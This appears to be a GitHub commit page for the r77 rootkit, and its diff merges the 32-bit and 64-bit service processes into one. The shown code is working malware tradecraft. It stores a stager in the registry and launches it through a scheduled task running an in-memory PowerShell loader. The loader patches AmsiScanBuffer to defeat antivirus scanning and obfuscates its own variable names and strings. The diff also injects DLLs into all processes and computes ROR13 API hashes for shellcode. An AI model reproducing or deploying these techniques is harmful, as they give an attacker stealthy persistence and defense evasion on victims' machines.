Skip to content

Commit 1c6f537

Browse files
author
bytecode77
committed
Only one service process on 64-bit OS
1 parent 2d0a4cc commit 1c6f537

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+261
-465
lines changed

$Docs/PebApiComputeHash.cpp

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#include <Windows.h>
2+
3+
#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits)))
4+
5+
DWORD ComputeFunctionHash(LPCSTR str)
6+
{
7+
DWORD hash = 0;
8+
9+
while (*str)
10+
{
11+
hash = ROTR(hash, 13) + *str++;
12+
}
13+
14+
return hash;
15+
}
16+
17+
DWORD ComputeModuleNameHash(LPCSTR str, USHORT length)
18+
{
19+
DWORD hash = 0;
20+
21+
for (USHORT i = 0; i < length; i++)
22+
{
23+
hash = ROTR(hash, 13) + (str[i] >= 'a' ? str[i] - 0x20 : str[i]);
24+
}
25+
26+
return hash;
27+
}
28+
29+
int main(int argc, char *argv[])
30+
{
31+
LPCWSTR moduleName = L"kernel32.dll";
32+
LPCSTR functionName = "CreateProcessW";
33+
DWORD moduleHash = ComputeModuleNameHash((LPCSTR)moduleName, lstrlenW(moduleName) * 2);
34+
DWORD functionHash = ComputeFunctionHash(functionName);
35+
return 0;
36+
}

.gitignore

-2
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,4 @@ TestResults/
1919
$Build/
2020
Install/Resources/
2121
Stager/Resources/
22-
Service32/Resources/
23-
Service64/Resources/
2422
Uninstall/Resources/

BuildTask/BuildTask.cs

+2-2
Original file line numberDiff line numberDiff line change
@@ -39,8 +39,8 @@ public static int Main(string[] args)
3939
if (args.Contains("-compress")) file = Compress(file);
4040
if (args.Contains("-encrypt")) file = Encrypt(file);
4141
if (args.Contains("-toshellcode")) file = ExtractShellCode(file);
42-
if (args.Contains("-r77service")) file = R77Signature(file, Config.R77ServiceSignature);
43-
if (args.Contains("-r77helper")) file = R77Signature(file, Config.R77HelperSignature);
42+
if (args.Contains("-r77service")) file = R77Signature(file, R77Const.R77ServiceSignature);
43+
if (args.Contains("-r77helper")) file = R77Signature(file, R77Const.R77HelperSignature);
4444

4545
File.WriteAllBytes(args[0], file);
4646
return 0;

Example/MainWindow.xaml

+2-2
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@
3030
</TextBlock>
3131
<StackPanel Visibility="{Binding Message1Visibility}">
3232
<TextBlock Text="This executable's filename starts with &quot;" Margin="0,0,0,10">
33-
<Run Text="{x:Static global:Config.HidePrefix}" /><Run Text="&quot;" />
33+
<Run Text="{x:Static global:R77Const.HidePrefix}" /><Run Text="&quot;" />
3434
</TextBlock>
3535
<TextBlock>
3636
<Run Text=" • A task manager that is injected with r77 will not display this process." />
@@ -43,7 +43,7 @@
4343
<DockPanel Visibility="{Binding Message2Visibility}">
4444
<Image Source="/Example;component/Resources/Warning16.png" Margin="0,0,8,0" VerticalAlignment="Top" />
4545
<TextBlock Text="Rename this executable's file to start with &quot;">
46-
<Run Text="{x:Static global:Config.HidePrefix}" /><Run Text="&quot;." />
46+
<Run Text="{x:Static global:R77Const.HidePrefix}" /><Run Text="&quot;." />
4747
<LineBreak />
4848
<Run Text="It will be hidden by r77." />
4949
</TextBlock>

Example/MainWindow.xaml.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ public partial class MainWindow : Window
1313
{
1414
public string FileName => Path.GetFileName(Assembly.GetEntryAssembly().Location);
1515
public int ProcessId => Process.GetCurrentProcess().Id;
16-
public bool HasPrefix => FileName.StartsWith(Config.HidePrefix);
16+
public bool HasPrefix => FileName.StartsWith(R77Const.HidePrefix);
1717
public Visibility Message1Visibility => HasPrefix ? Visibility.Visible : Visibility.Collapsed;
1818
public Visibility Message2Visibility => HasPrefix ? Visibility.Collapsed : Visibility.Visible;
1919

Global/R77Const.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
namespace Global
22
{
33
// These constants must match the preprocessor definitions in r77def.h
4-
public static class Config
4+
public static class R77Const
55
{
66
public const string HidePrefix = "$77";
77
public const ushort R77ServiceSignature = 0x7273;

Helper/Helper.c

+3-4
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,7 @@ BOOL CreateConfigSystem()
109109
}
110110
BOOL Inject(DWORD processId, LPBYTE dll, DWORD dllSize)
111111
{
112-
return InjectDll(processId, dll, dllSize, FALSE);
112+
return InjectDll(processId, dll, dllSize);
113113
}
114114
BOOL InjectAll(LPBYTE dll32, DWORD dll32Size, LPBYTE dll64, DWORD dll64Size)
115115
{
@@ -123,9 +123,8 @@ BOOL InjectAll(LPBYTE dll32, DWORD dll32Size, LPBYTE dll64, DWORD dll64Size)
123123

124124
for (DWORD i = 0; i < processCount; i++)
125125
{
126-
// Try both the 32-bit and the 64-bit DLL. Either the first or the second call will succeed.
127-
InjectDll(processes[i], dll32, dll32Size, TRUE);
128-
InjectDll(processes[i], dll64, dll64Size, TRUE);
126+
InjectDll(processes[i], dll32, dll32Size);
127+
InjectDll(processes[i], dll64, dll64Size);
129128
}
130129

131130
result = TRUE;

Install/Install.c

+13-26
Original file line numberDiff line numberDiff line change
@@ -15,44 +15,31 @@ int main()
1515
// Write stager executable to registry.
1616
// This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell.
1717
// The target framework is 3.5, but it will run, even if .NET 4.x is installed and .NET 3.5 isn't.
18-
// Because the powershell command may run using .NET 3.5, there is no access to a specific registry view.
19-
// Therefore, the executable needs to be written to both the 32-bit and the 64-bit registry view.
2018

2119
HKEY key;
22-
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_32KEY, &key) != ERROR_SUCCESS ||
23-
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
24-
2520
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) != ERROR_SUCCESS ||
2621
RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;
2722

2823
// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
2924
// The C# binary will proceed with creating a native process using process hollowing.
3025
// The powershell command is purely inline and doesn't require a ps1 file.
3126

32-
LPWSTR powershellCommand32 = GetPowershellCommand(FALSE);
33-
LPWSTR powershellCommand64 = GetPowershellCommand(TRUE);
27+
LPWSTR powershellCommand = GetPowershellCommand();
3428

35-
// Create 32-bit scheduled task to run the powershell stager.
29+
// Create scheduled task to run the powershell stager.
3630
DeleteScheduledTask(R77_SERVICE_NAME32);
37-
if (CreateScheduledTask(R77_SERVICE_NAME32, Is64BitOperatingSystem() ? L"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" : L"", L"powershell", powershellCommand32))
38-
{
39-
RunScheduledTask(R77_SERVICE_NAME32);
40-
}
31+
DeleteScheduledTask(R77_SERVICE_NAME64);
4132

42-
// Create 64-bit scheduled task to run the powershell stager.
43-
if (Is64BitOperatingSystem())
33+
LPCWSTR scheduledTaskName = Is64BitOperatingSystem() ? R77_SERVICE_NAME64 : R77_SERVICE_NAME32;
34+
if (CreateScheduledTask(scheduledTaskName, L"", L"powershell", powershellCommand))
4435
{
45-
DeleteScheduledTask(R77_SERVICE_NAME64);
46-
if (CreateScheduledTask(R77_SERVICE_NAME64, L"", L"powershell", powershellCommand64))
47-
{
48-
RunScheduledTask(R77_SERVICE_NAME64);
49-
}
36+
RunScheduledTask(scheduledTaskName);
5037
}
5138

5239
return 0;
5340
}
5441

55-
LPWSTR GetPowershellCommand(BOOL is64Bit)
42+
LPWSTR GetPowershellCommand()
5643
{
5744
// Powershell inline command to be invoked using powershell.exe "..."
5845

@@ -90,7 +77,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
9077
// Use Microsoft.Win32.UnsafeNativeMethods for some DllImport's.
9178
L"$NativeMethods=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(`System.dll`)})"
9279
L".GetType(`Microsoft.Win32.UnsafeNativeMethods`);"
93-
L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags]`Public,Static`,$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);"
80+
L"$GetProcAddress=$NativeMethods.GetMethod(`GetProcAddress`,[Reflection.BindingFlags](`Public,Static`),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);"
9481

9582
// Create delegate types
9683
L"$LoadLibraryDelegate=Get-Delegate @([String])([IntPtr]);"
@@ -111,7 +98,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
11198
);
11299

113100
// Overwrite AmsiScanBuffer function with shellcode to return AMSI_RESULT_CLEAN.
114-
if (is64Bit)
101+
if (Is64BitOperatingSystem())
115102
{
116103
// b8 57 00 07 80 mov eax, 0x80070057
117104
// c3 ret
@@ -144,6 +131,9 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
144131

145132
StrCatW(command, L"\"");
146133

134+
// Replace string literals that are marked with `thestring`.
135+
ObfuscatePowershellStringLiterals(command);
136+
147137
// Obfuscate all variable names with random strings.
148138
ObfuscatePowershellVariable(command, L"Get-Delegate");
149139
ObfuscatePowershellVariable(command, L"ParameterTypes");
@@ -160,9 +150,6 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
160150
ObfuscatePowershellVariable(command, L"AmsiScanBufferPtr");
161151
ObfuscatePowershellVariable(command, L"OldProtect");
162152

163-
// Replace string literals that are marked with `thestring`.
164-
ObfuscatePowershellStringLiterals(command);
165-
166153
return command;
167154
}
168155
VOID ObfuscatePowershellVariable(LPWSTR command, LPCWSTR variableName)
@@ -261,7 +248,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command)
261248
}
262249

263250
// Append remaining string after the last quoted string.
264-
StrNCatW(newCommand, commandPtr, lstrlenW(command) - (commandPtr - command));
251+
StrCatW(newCommand, commandPtr);
265252

266253
StrCpyW(command, newCommand);
267254
FREE(newCommand);

Install/Install.h

+1-2
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,10 @@
44
/// <summary>
55
/// Creates the powershell startup command.
66
/// </summary>
7-
/// <param name="is64Bit">TRUE to return the commandline for 64-bit powershell, FALSE to return the commandline for 32-bit powershell.</param>
87
/// <returns>
98
/// A newly allocated LPCSTR with the powershell command.
109
/// </returns>
11-
LPWSTR GetPowershellCommand(BOOL is64Bit);
10+
LPWSTR GetPowershellCommand();
1211
/// <summary>
1312
/// Obfuscates all occurrences of a given variable name within a powershell command.
1413
/// </summary>

Service/ControlPipeListener.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ DWORD WINAPI ControlPipeListenerThread(LPVOID parameter)
1010
{
1111
while (TRUE)
1212
{
13-
HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CONTROL_PIPE_NAME, CONTROL_PIPE_REDIRECT64_NAME));
13+
HANDLE pipe = CreatePublicNamedPipe(CONTROL_PIPE_NAME);
1414
while (pipe != INVALID_HANDLE_VALUE)
1515
{
1616
if (ConnectNamedPipe(pipe, NULL))

Service/ProcessListener.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter)
6161
{
6262
while (TRUE)
6363
{
64-
HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CHILD_PROCESS_PIPE_NAME32, CHILD_PROCESS_PIPE_NAME64));
64+
HANDLE pipe = CreatePublicNamedPipe(CHILD_PROCESS_PIPE_NAME);
6565
while (pipe != INVALID_HANDLE_VALUE)
6666
{
6767
if (ConnectNamedPipe(pipe, NULL))

Service/Resource.rc

-69
This file was deleted.

0 commit comments

Comments
 (0)